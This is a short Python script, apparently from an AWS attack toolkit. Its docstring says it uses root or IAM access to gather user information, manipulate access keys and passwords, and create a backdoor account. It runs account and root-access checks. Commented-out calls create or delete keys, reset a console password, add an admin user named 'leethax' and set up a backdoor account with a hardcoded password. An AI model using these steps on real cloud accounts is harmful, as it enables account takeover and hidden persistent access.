33 lines
1.1 KiB
Python
33 lines
1.1 KiB
Python
'''
|
|
if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account
|
|
'''
|
|
|
|
import boto3
|
|
import botocore
|
|
|
|
import json
|
|
import urllib
|
|
import logging
|
|
import sys,os
|
|
import pprint
|
|
|
|
pp = pprint.PrettyPrinter(indent=5, width=80)
|
|
|
|
from libs.iam import *
|
|
from libs.sts import *
|
|
|
|
#insert AWS key, will figure out how to pull this in from a single file for all scripts
|
|
|
|
AWS_ACCESS_KEY_ID = ''
|
|
AWS_SECRET_ACCESS_KEY =''
|
|
|
|
|
|
get_accountid(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
|
|
check_root_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
|
|
get_password_policy(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
|
|
#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3')
|
|
#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q')
|
|
#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@')
|
|
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
|
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
|
|
#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@') |